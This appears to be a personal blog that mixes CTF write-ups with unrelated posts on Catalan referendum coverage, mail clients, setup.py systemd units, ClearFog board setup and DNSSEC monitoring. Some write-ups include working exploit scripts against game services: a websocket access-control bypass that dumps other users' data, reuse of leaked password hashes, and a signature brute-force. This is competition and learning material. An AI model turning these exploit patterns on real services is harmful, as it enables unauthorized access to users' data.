Christoph's last Weblog entries

This is FAUST playing CTF again, this time midnightsun.

Team: FAUST
Crew: siccegge

OK so we're looking at the EZDSA service. This is a signature service and the task is essentially to recover the signing key. Code is reproduced below.

#!/usr/bin/python2
from hashlib import sha1
from Crypto import Random
from flag import FLAG


class PrivateSigningKey:

    def __init__(self):
        self.gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L
        self.q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL
        self.p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L
        self.key = int(FLAG.encode("hex"), 16)

    def sign(self, m):

        def bytes_to_long(b):
            return long(b.encode("hex"), 16)

        h = bytes_to_long(sha1(m).digest())
        u = bytes_to_long(Random.new().read(20))
        assert(bytes_to_long(m) % (self.q - 1) != 0)

        k = pow(self.gen, u * bytes_to_long(m), self.q)
        r = pow(self.gen, k, self.p) % self.q
        s = pow(k, self.q - 2, self.q) * (h + self.key * r) % self.q
        assert(s != 0)

        return r, s

The outer service was not provided but you could pass in base64 encoded byte arrays and got back r and s as already indicated. Looking at the final computation for s we notice that given $(h + k * r)$ and $h, r$ we can easily recover $k$. For this to work it would be convenient if the first term ends up being 1. Unfortunately, the easiest way to get there is prevented: $g^{q-1} = 1$. Fortunately this is not the only exponent where this works and a good candidate is $(q-1 / 2)$.

pow(gen, (q-1)//2, q)
1

From there the only thing left is solving $s = (h + k * r)$. Fortunately gmpy has the solution prepackaged again: divm. So we proceed by getting a valid "signature" on $(q-1 / 2)$. The rest is simple calculation:

#!/usr/bin/python3
sha1(binascii.unhexlify("%x" % ((q-1)//2))).hexdigest()
'e6d805a06977596563941c1e732e192045aa49f0'

base64.b64encode(binascii.unhexlify("%x" % ((q-1)//2)))

gmpy2.divm(s-h, r, q)
mpz(39611266634150218411162254052999901308991)

binascii.unhexlify("%x" % 39611266634150218411162254052999901308991)
b'th4t_w4s_e4sy_eh?'

OK so why does $(q-1 / 2)$ work? Essentially, the field defined $F_q$ -- calculations mod q -- has q elements additively and $q-1$ elements multiplicatively(and we're considering exponentiation as repeated multiplication). Therefore it contains cyclic subgroups for all factors of $q-1$ and for every element $e$, $e^o = 1$ where o is the order of the subgroup that element belongs to. as the generator is trivially not $-1$ -- the subgroup of size 2 -- $(q-1 / 2)$ must be a multiple of the generated group's order.

Team: FAUST
Crew: izibi, siccegge
CTF: RuCTFe 2018

The service

Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in main.go, some stuff in the templates and the websockets endpoint in command_executor.go. Obviously you have to extract the strings ("labels") from the gameserver. Also the phrase stored when creating the account was used to store some more flags.

Client side authentication for labels

Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.

            let label = JSON.parse(e.data);
            if (label.Owner !== getLoginFromCookies()) {
                return;
            }

And indeed, the websocket view method checks for some valid session but doesn't concern itself with any further validation of access priviledges. As long as you have any valid session and can figure out websockets you can get about any label you like.

        "view": func(ex *CommandExecutor, data []byte) ([]byte, error) {
                var viewData ViewData
                err := json.Unmarshal(data, &viewData)
                if err != nil {
                        return nil, createUnmarshallingError(err, data)
                }
                cookies := parseCookies(viewData.RawCookies)
                ok, _ := ex.sm.ValidateSession(cookies)
                if !ok {
                        return nil, errors.New("invalid session")
                }
                label, err := ex.dbApi.ViewLabel(viewData.LabelId)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))
                }
                rawLabel, err := json.Marshal(*label)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))
                }
                return rawLabel, nil
        },

Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels

#!/usr/bin/env python3

import requests
import websocket
import json
import sys
import string
import random
import base64


def main():
    host = sys.argv[1]
    session = requests.session()

    password = [i for i in string.ascii_letters]
    random.shuffle(password)

    username = ''.join(password[:10])
    phrase = base64.b64encode((''.join(password[10:20])).encode()).decode()
    password = base64.b64encode((''.join(password[20:36])).encode()).decode()


    x = session.get('http://%s:8888/register?login=%s&phrase=%s&password=%s' %   
                    (host,username,phrase,password))
    x = session.get('http://%s:8888/login?login=%s&password=%s' % 
                    (host,username, password))
    raw_cookie = 'login=%s;sid=%s' % (x.cookies['login'], x.cookies['sid'])

    ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))

    data = {'Text': 'test', 'Font': 'Arial', 'Size': 20, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "create", "Data": json.dumps(data)}))
    # make sure create is already commited before continuing
    ws.recv()

    data = {'Offset': 0, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "list", "Data": json.dumps(data)}))
    stuff = json.loads(ws.recv())
    lastid = stuff[0]['ID']

    for i in range(0 if lastid-100 < 0 else lastid-100, lastid):
        ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
        try:
            data = {'LabelId': i, 'RawCookies': raw_cookie}
            ws.send(json.dumps({"Command": "view", "Data": json.dumps(data)}))
            print(json.loads(ws.recv())["Text"])
        except Exception:
            pass


if __name__ == '__main__':
    main()

Password Hash

The hash module used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, test) you end up with an hash that contains the password in plain (say, testTi\x02mH\x91\x96U\\I\x8a\xdd). Looking closer, if you register with a password that is exactly 16 characters (aaaaaaaaaaaaaaaa) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.

Listening to tcpdump for a while you'll notice interesting entries:

[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]

See the password hash there? Turns out this comes from the regularly scheduled last_users websocket call.

        "last_users":  func(ex *CommandExecutor, _ []byte) ([]byte, error) {
                users := ex.dbApi.GetLastUsers()
                rawUsers, err := json.Marshal(*users)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, users=(%v)", err.Error(), *users))
                }
                return rawUsers, nil
        },

So call last_users (doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.

Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.

This is FAUST playing CTF again, this time iCTF. We somehow managed to score an amazing 5th place.

Team: FAUST
Crew: izibi, siccegge
Files: spiderman

spider is a patched python interpreter. man is a pyc but with different magic values (explaining the patched python interpreter for now). Plain decompiling failes due to some (dead) cruft code at the beginning of all methods. can be patched away or you do more manual disassembling.

Observations:

• does something with RSA
• public exponent is slightly uncommon ($2^{16}+3$ instead of $2^{16}+1$) but that should be fine.
• uses openssl prime -generate to generate the RSA key. Doesn't use -safe but should also be fine for RSA purposes
• You need to do a textbook RSA signature on a challenge to get the flag

Fine so far nothing obvious to break. When interacting with the service, you will likely notice the Almost Equal function in the Fun menu. According to the bytecode, it takes two integers $a$ and $b$ and outputs if $a = b \pm 1$, but looking at the gameserver traffic, these two numbers are also considered to be almost equal:

$$a = 33086666666199589932529891 \\ b = 35657862677651939357901381$$

So something's strange here. Starting the spider binary gives a python shell where you can play around with these numbers and you will find that a == b - 1 will actually result in True. So there is something wrong with the == operator in the shipped python interpreter, however it doesn't seem to be any sort of overflow. Bit representation also doesn't give anything obvious. Luky guess: why the strange public exponent? let's try the usual here. and indeed $a = b - 1 \pmod{2^{16}+1}$. Given this is also used to compare the signature on the challenge this becomes easily bruteforceable.

#!/usr/bin/env python3

import nclib, sys
from random import getrandbits

e = 2**16+3 # exponent
w = 2**16+1 # wtf

nc = nclib.Netcat((sys.argv[1], 20005), udp=False, verbose=True)
nc.recv_until(b'4) Exit\n')
nc.send(b'3\n') # Read

nc.recv_until(b'What do you want to read?\n')
nc.send(sys.argv[2].encode() + b'\n')

nc.recv_until(b'solve this:\n')
modulus, challenge = map(int, nc.recv_until(b'\n').decode().split()[:2])
challenge %= w

# Starting at 0 would also work, but using large random numbers makes
# it less obvious that we only bruteforce a small set of numbers
answer = getrandbits(2000)
while (pow(answer, e, modulus)) % w != challenge:
    answer += 1

nc.send(str(answer).encode() + b'\n')
flag = nc.recv_until(b'\n')

nc.recv_until(b'4) Exit\n')
nc.send(b'4\n')

Some things I don't really understand reading in German media

• Suddenly the electoral system becomes a legitimacy problem. While it has never been a problem for any of the previous decisions of the Catalunyan regional government suddenly a "only 48% of people voted for the government" results in the decisions being illegitimate? This is also a property of many governments (Greece and the US president being obvious examples but also the German Bundestag can have a majority government without the majority of votes). Is this just the media trying to find something they can blame on "the other side"?

• How can you ever possibly excuse violence against people peacefully and non-violently doing whatever they're doing. Sure this referendum was considered illegal (and it may be legitimate to ignore the result, or legal prosecution of the initiators) but how can that ever possibly be an excuse for half a population peacefully doing whatever they are about to do? How can you possibly claim that "both sides are to blame" for the violence? "Die Zeit" seems to be the only one with an somewhat convincing argument ("Deciding to press on despite the obviously happening violence") while "Welt", "Spiegel" and "Süddeutsche" all trying to blame the regional government for the violence with as much of an argument as asking people to do something illegal in a totally peaceful way. Possibly an argument for legal consequences, sure -- but for violence?

Too bad I didn't keep the links / articles from Sunday night.

A short while ago, FAUST participated in this year's CSAW qualification and -- as usual -- I was working on the Crypto challenges again. The first puzzle I worked on was called "Another Xor" -- and, while there are quite some write ups already our solution was somewhat different (maybe even the intended solution given how nice things worked out) and certainly interesting.

The challenge provides a cipher-text. It's essentially a stream cipher with key repeated to generate the key stream. The plain-text was plain + key + checksum.

p = this is a plaintextThis is the keyfa5d46a2a2dcdeb83e0241ee2c0437f7
k = This is the keyThis is the keyThis is the keyThis is the keyThis i

Key length

Our first step was figuring out the key length. Let's assume for now the key was This is the key. Notice that the key is also part of the plain-text and we know something about its location -- it ends at 32 characters from the back. If we only take a look at the encrypted key it should have the following structure:

p' = This is the key
k' = he keyThis is t

The thing to notice here is that every character in the Key appears both in the plain-text and key stream sequence. And the cipher-text is the XOR (⊕) of both. Therefore XOR over the cipher-text sequence encrypting the key should equal 0 (⊕(p') ⊕ ⊕(k') = 0). So remove the last 32 characters and find all suffixes that result in a XOR of 0. Fortunately there is exactly one such suffix (there could be multiple) and therefore we know the key size: 67.

To put it in code, this basically is the function we implemented for this:

def calculate(ciphertextcandidate):
    accumulator = 0
    for char in ciphertextcandidate:
        accumulator = accumulator ^ char

Which, for the matching plain-text and key-stream fragments is equal (due to the XOR encryption) to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^ keyfragment[i])

Now XOR lets us nicely reorder this to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^
                                     keyfragment[(i + 6) % len(plainfragment)])

And, as plainfragment[i] and keyfragment[(i + 6) % len(plainfragment)] are equal for the plain-text range encoding the key this becomes

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ 0

Or simply 0 if the guess of the cipher-text range is correct.

Key recovery

Now the nice thing to notice is that the length of the key (67) is a prime (and 38, the plain-text length, is a generator). As a result, we only need to guess one byte of the key:

Assume you know one byte of the key (and the position). Now you can use that one byte of the key to decrypt the next byte of the key (using the area where the key is part of the plain-text). Due to the primeness of the key length this allows recovery of the full key.

Finally you can either print all 256 options and look for the one that looks reasonable or you can verify the md5sum which will give you the one valid solution, flag{sti11_us3_da_x0r_for_my_s3cratz}.

Code

cipher = b"'L\x10\x12\x1a\x01\x00I[P-U\x1cU\x7f\x0b\x083X]\x1b'\x03\x0bR(\x04\r7SI\n\x1c\x02T\x15\x05\x15%EQ\x18\x00\x19\x11SJ\x00RV\n\x14YO\x0b\x1eI\n\x01\x0cE\x14A\x1e\x07\x00\x14aZ\x18\x1b\x02R\x1bX\x03\x05\x17\x00\x02\x07K\n\x1aLAM\x1f\x1d\x17\x1d\x00\x15\x1b\x1d\x0fH\x0eI\x1e\x02I\x01\x0c\x15\x00P\x11\\PXPCB\x03B\x13TBL\x11PC\x0b^\tM\x14IW\x08\rDD%FC"

def keycover(guess):
    key = dict()
    pos = 38
    key[38] = guess

    for i in range(67):
        newpos = (pos % 67) + 38
        key[newpos] = xor(cipher[pos:], key[pos])
        pos = newpos

    try:
        return b''.join([ key[i] for i in range(38, 105, 1) ])
    except:
        return b'test'

for guess in range(256):
    keycand = keycover(bytes([guess]))

    plaincand = xor(cipher, repeat(keycand, len(cipher)))

    if md5(plaincand[:-32]).hexdigest().encode() == plaincand[-32:]:
        print(keycand, plaincand)

Seems it is now almost a decade since I migrated from Thunderbird to GNUS. And GNUS is an awesome mail program that I still rather like. However GNUS is also heavily quirky. It's essentially single-threaded and synchronous which means you either have to wait for the "IMAP check for new mails" to finish or you have to C-g abort it if you want the user interface to work; You have to wait for the "Move mail" to complete (which can take a while -- especially with dovecot-antispam training the filter) before you can continue working. It has it's funny way around TLS and certificate validation. And it seems to hang from time to time until it is C-g interrupted.

So when I set up my new desktop machine I decided to try something else. My first try was claws-mail which seems OK but totally fails in the asynchronous area. While the GUI stays reactive, all actions that require IMAP interactions become incredibly slow when a background IMAP refresh is running. I do have quite some mailboxes and waiting the 5+ minutes after opening claws or whenever it decides to do a refresh is just to much.

Now my last try has been Kmail -- also driven by the idea of having a more integrated setup with CalDAV and CardDAV around and similar goodies. And Kmail really compares nicely to claws in many ways. After all, I can use it while it's doing its things in the background. However the KDE folks seem to have dropped all support for the \recent IMAP flag which I heavily rely on. I do -- after all -- keep a GNUS like workflow where all unread mail (ref \seen) needs to still be acted upon which means there can easily be quite a few unread messages when I'm busy at the moment and just having a quick look at the new (ref \recent) mail to see if there's something super-urgent is essential.

So I'm now looking for useful suggestions for a mail program (ideally with desktop integration) with the following essential features:

• It stays usable at all times -- which means smarter queuing than claws -- so foreground actions are not delayed by any background task the mail program might be up to and tasks like moving mail are handled in the background.
• Decent support for filtering. Apart from some basic stuff I need shortcut filtering for \recent mail.
• Option to hide \seen mail (and ideally hide all folders that only contain \seen mail). Hopefully toggle-able by some hotkey. "Age in days" would be an acceptable approximation, but Kmail doesn't seem to allow that in search (it's available as a filter though).

This weekend was ASIS Quals weekend again. And just like last year they have quite a lot of nice crypto-related puzzles which are fun to solve (and not "the same as every ctf").

Actually Secured OTP Server is pretty much the same as the First OTP Server (actually it's a "fixed" version to enforce the intended attack). However the template phrase now starts with enough stars to prevent simple root.:

def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

Now let A = template * 2^(18*8), B = passphrase. This results in OTP = A + B. c therefore is (A+B)^3 mod n == A^3 + 3A^2b + 3AB^2 + B^3. Notice that only B^3 is larger than N and is statically known. Therefore we can calculate A^3 // N and add that to c to "undo" the modulo operation. With that it's only iroot and long_to_bytes to the solution. Note that we're talking about OTP and C here. The code actually produced two OTP and C values but you can use either one just fine.

#!/usr/bin/python3

import sys
from util import bytes_to_long
from gmpy2 import iroot

PREFIX = b'*************** Welcome, dear customer, the secret passphrase for today is: '
OTPbase = bytes_to_long(PREFIX + b'\x00' * 18)

N = 27990886688403106156886965929373472780889297823794580465068327683395428917362065615739951108259750066435069668684573174325731274170995250924795407965212988361462373732974161447634230854196410219114860784487233470335168426228481911440564783725621653286383831270780196463991259147093068328414348781344702123357674899863389442417020336086993549312395661361400479571900883022046732515264355119081391467082453786314312161949246102368333523674765325492285740191982756488086280405915565444751334123879989607088707099191056578977164106743480580290273650405587226976754077483115441525080890390557890622557458363028198676980513

WRAPPINGS = (OTPbase ** 3) // N

C = 13094996712007124344470117620331768168185106904388859938604066108465461324834973803666594501350900379061600358157727804618756203188081640756273094533547432660678049428176040512041763322083599542634138737945137753879630587019478835634179440093707008313841275705670232461560481682247853853414820158909864021171009368832781090330881410994954019971742796971725232022238997115648269445491368963695366241477101714073751712571563044945769609486276590337268791325927670563621008906770405196742606813034486998852494456372962791608053890663313231907163444106882221102735242733933067370757085585830451536661157788688695854436646

x = N * WRAPPINGS + C

val, _ = iroot(x, 3)
bstr = "%x" % int(val)

for i in range(0, len(bstr) // 2):
    sys.stdout.write(chr(int(bstr[2*i:2*i+2], 16)))

print()

As web search engines and IRC seems to be of no help, maybe someone here has a helpful idea. I have some service written in python that comes with a .service file for systemd. I now want to build&install a working service file from the software's setup.py. I can override the build/build_py commands of setuptools, however that way I still lack knowledge wrt. the bindir/prefix where my service script will be installed.

Solution

Turns out, if you override the install command (not the install_data!), you will have self.root and self.install_scripts (and lots of other self.install_*). As a result, you can read the template and write the desired output file after calling super's run method. The fix was inspired by GateOne (which, however doesn't get the --root parameter right, you need to strip self.root from the beginning of the path to actually make that work as intended).

As suggested on IRC, the snippet (and my software) no use pkg-config to get at the systemd path as well. This is a nice improvement orthogonal to the original problem. The implementation here follows bley.

def systemd_unit_path():
    try:
        command = ["pkg-config", "--variable=systemdsystemunitdir", "systemd"]
        path = subprocess.check_output(command, stderr=subprocess.STDOUT)
        return path.decode().replace('\n', '')
    except (subprocess.CalledProcessError, OSError):
        return "/lib/systemd/system"


class my_install(install):
    _servicefiles = [
        'foo/bar.service',
        ]

    def run(self):
        install.run(self)

        if not self.dry_run:
            bindir = self.install_scripts
            if bindir.startswith(self.root):
                bindir = bindir[len(self.root):]

            systemddir = "%s%s" % (self.root, systemd_unit_path())

            for servicefile in self._servicefiles:
                service = os.path.split(servicefile)[1]
                self.announce("Creating %s" % os.path.join(systemddir, service),
                              level=2)
                with open(servicefile) as servicefd:
                    servicedata = servicefd.read()

                with open(os.path.join(systemddir, service), "w") as servicefd:
                    servicefd.write(servicedata.replace("%BINDIR%", bindir))

Comments, suggestions and improvements, of course, welcome!

Back in August, I was looking for a Homeserver replacement. During FrOSCon I was then reminded of the Turris Omnia project by NIC.cz. The basic SoC (Marvel Armada 38x) seemed to be nice hand have decent mainline support (and, with the turris, users interested in keeping it working). Only I don't want any WIFI and I wasn't sure the standard case would be all that usefully. Fortunately, there's also a simple board available with the same SoC called ClearFog and so I got one of these (the Base version). With shipping and the SSD (the only 2242 M.2 SSD with 250 GiB I could find, a ADATA SP600) it slightly exceeds the budget but well.

When installing the machine, the obvious goal was to use mainline FOSS components only if possible. Fortunately there's mainline kernel support for the device as well as mainline U-Boot. First attempts to boot from a micro SD card did not work out at all, both with mainline U-Boot and the vendor version though. Turns out the eMMC version of the board does not support any micro SD cards at all, a fact that is documented but others failed to notice as well.

U-Boot

As the board does not come with any loader on eMMC and booting directly from M.2 requires removing some resistors from the board, the easiest way is using UART for booting. The vendor wiki has some shell script wrapping an included C fragment to feed U-Boot to the device but all that is really needed is U-Boot's kwboot utility. For some reason the SPL didn't properly detect UART booting on my device (wrong magic number) but patching the if (in arch-mvebu's spl.c) and always assume UART boot is an easy way around.

The plan then was to boot a Debian armhf rootfs with a defconfig kernel from USB stick. and install U-Boot and the rootfs to eMMC from within that system. Unfortunately U-Boot seems to be unable to talk to the USB3 port so no kernel loading from there. One could probably make UART loading work but switching between screen for serial console and xmodem seemed somewhat fragile and I never got it working. However ethernet can be made to work, though you need to set eth1addr to eth3addr (or just the right one of these) in U-Boot, saveenv and reboot. After that TFTP works (but is somewhat slow).

eMMC

There's one last step required to allow U-Boot and Linux to access the eMMC. eMMC is wired to the same PINs as the SD card would be. However the SD card has an additional indicator pin showing whether a card is present. You might be lucky inserting a dummy card into the slot or go the clean route and remove the pin specification from the device tree.

--- a/arch/arm/dts/armada-388-clearfog.dts
+++ b/arch/arm/dts/armada-388-clearfog.dts
@@ -306,7 +307,6 @@

                        sdhci@d8000 {
                                bus-width = <4>;
-                               cd-gpios = <&gpio0 20 GPIO_ACTIVE_LOW>;
                                no-1-8-v;
                                pinctrl-0 = <&clearfog_sdhci_pins
                                             &clearfog_sdhci_cd_pins>;

Next Up is flashing the U-Boot to eMMC. This seems to work with the vendor U-Boot but proves to be tricky with mainline. The fun part boils down to the fact that the boot firmware reads the first block from eMMC, but the second from SD card. If you write the mainline U-Boot, which was written and tested for SD card, to eMMC the SPL will try to load the main U-Boot starting from it's second sector from flash -- obviously resulting in garbage. This one took me several tries to figure out and made me read most of the SPL code for the device. The fix however is trivial (apart from the question on how to support all different variants from one codebase, which I'll leave to the U-Boot developers):

--- a/include/configs/clearfog.h
+++ b/include/configs/clearfog.h
@@ -143,8 +143,7 @@
 #define CONFIG_SPL_LIBDISK_SUPPORT
 #define CONFIG_SYS_MMC_U_BOOT_OFFS             (160 << 10)
 #define CONFIG_SYS_U_BOOT_OFFS                 CONFIG_SYS_MMC_U_BOOT_OFFS
-#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR        ((CONFIG_SYS_U_BOOT_OFFS / 512)\
-                                                + 1)
+#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR        (CONFIG_SYS_U_BOOT_OFFS / 512)
 #define CONFIG_SYS_U_BOOT_MAX_SIZE_SECTORS     ((512 << 10) / 512) /* 512KiB */
 #ifdef CONFIG_SPL_BUILD
 #define CONFIG_FIXED_SDHCI_ALIGNED_BUFFER      0x00180000      /* in SDRAM */

Linux

Now we have a System booting from eMMC with mainline U-Boot (which is a most welcome speedup compared to the UART and TFTP combination from the beginning). Getting to fine-tune linux on the device -- we want to install the armmp Debian kernel and have it work. As all the drivers are build as modules for that kernel this also means initrd support. Funnily U-Boots bootz allows booting a plain vmlinux kernel but I couldn't get it to boot a plain initrd. Passing a uImage initrd and a normal kernel however works pretty well. Back when I first tried there were some modules missing and ethernet didn't work with the PHY driver built as a module. In the meantime the PHY problem was fixed in the Debian kernel and almost all modules already added. Ben then only added the USB3 module on my suggestion and as a result, unstable's armhf armmp kernel should work perfectly well on the device (you still need to patch the device tree similar to the patch above). Still missing is an updated flash-kernel to automatically generate the initrd uImage which is work in progress but got stalled until I fixed the U-Boot on eMMC problem and everything should be fine -- maybe get debian u-boot builds for that board.

Pro versus Base

The main difference so far between the Pro and the Base version of the ClearFog is the switch chip which is included on the Pro. The Base instead "just" has two gigabit ethernet ports and a SFP. Both, linux' and U-Boot's device tree are intended for the Pro version which makes on of the ethernet ports unusable (it tries to find the switch behind the ethernet port which isn't there). To get both ports working (or the one you settled on earlier) there's a second patch to the device tree (my version might be sub-optimal but works), U-Boot -- the linux-kernel version is a trivial adaption:

--- a/arch/arm/dts/armada-388-clearfog.dts
+++ b/arch/arm/dts/armada-388-clearfog.dts
@@ -89,13 +89,10 @@
                internal-regs {
                        ethernet@30000 {
                                mac-address = [00 50 43 02 02 02];
+                               managed = "in-band-status";
+                               phy = <&phy1>;
                                phy-mode = "sgmii";
                                status = "okay";
-
-                               fixed-link {
-                                       speed = <1000>;
-                                       full-duplex;
-                               };
                        };

                        ethernet@34000 {
@@ -227,6 +224,10 @@
                                pinctrl-0 = <&mdio_pins>;
                                pinctrl-names = "default";

+                               phy1: ethernet-phy@1 { /* Marvell 88E1512 */
+                                    reg = <1>;
+                               };
+
                                phy_dedicated: ethernet-phy@0 {
                                        /*
                                         * Annoyingly, the marvell phy driver
@@ -386,62 +386,6 @@
                tx-fault-gpio = <&expander0 13 GPIO_ACTIVE_HIGH>;
        };

-       dsa@0 {
-               compatible = "marvell,dsa";
-               dsa,ethernet = <&eth1>;
-               dsa,mii-bus = <&mdio>;
-               pinctrl-0 = <&clearfog_dsa0_clk_pins &clearfog_dsa0_pins>;
-               pinctrl-names = "default";
-               #address-cells = <2>;
-               #size-cells = <0>;
-
-               switch@0 {
-                       #address-cells = <1>;
-                       #size-cells = <0>;
-                       reg = <4 0>;
-
-                       port@0 {
-                               reg = <0>;
-                               label = "lan1";
-                       };
-
-                       port@1 {
-                               reg = <1>;
-                               label = "lan2";
-                       };
-
-                       port@2 {
-                               reg = <2>;
-                               label = "lan3";
-                       };
-
-                       port@3 {
-                               reg = <3>;
-                               label = "lan4";
-                       };
-
-                       port@4 {
-                               reg = <4>;
-                               label = "lan5";
-                       };
-
-                       port@5 {
-                               reg = <5>;
-                               label = "cpu";
-                       };
-
-                       port@6 {
-                               /* 88E1512 external phy */
-                               reg = <6>;
-                               label = "lan6";
-                               fixed-link {
-                                       speed = <1000>;
-                                       full-duplex;
-                               };
-                       };
-               };
-       };
-
        gpio-keys {
                compatible = "gpio-keys";
                pinctrl-0 = <&rear_button_pins>;

Conclusion

Apart from the mess with eMMC this seems to be a pretty nice device. It's now happily running with a M.2 SSD providing enough storage for now and still has a mSATA/mPCIe plug left for future journeys. It seems to be drawing around 5.5 Watts with SSD and one Ethernet connected while mostly idle and can feed around 500 Mb/s from disk over an encrypted ethernet connection which is, I guess, not too bad. My plans now include helping to finish flash-kernel support, creating a nice case and probably get it deployed. I might bring it to FOSDEM first though.

Working on it was really quite some fun (apart from the frustrating parts finding the one-block-offset ..) and people were really helpful. Big thanks here to Debian's arm folks, Ben Hutchings the kernel maintainer and U-Boot upstream (especially Tom Rini and Stefan Roese)

At this year's FrOSCon I repeted my presentation on DNSSEC. In the audience, there was the suggestion of a lack of proper monitoring plugins for a DANE and DNSSEC infrastructure that was easily available. As I already had some personal tools around and some spare time to burn I've just started a repository with some useful tools. It's available on my website and has mirrors on Gitlab and Github. I intent to keep this repository up-to-date with my personal requirements (which also means adding a xmpp check soon) and am happy to take any contributions (either by mail or as "pull requests" on one of the two mirrors). It currently has smtp (both ssmtp and starttls) and https support as well as support for checking valid DNSSEC configuration of a zone.

While working on it it turned out some things can be complicated. My language of choice was python3 (if only because the ssl library has improved since 2.7 a lot), however ldns and unbound in Debian lack python3 support in their bindings. This seems fixable as the source in Debian is buildable and useable with python3 so it just needs packaging adjustments. Funnily the ldns module, which is only needed for check_dnssec, in debian is currently buggy for python2 and python3 and ldns' python3 support is somewhat lacking so I spent several hours hunting SWIG problems.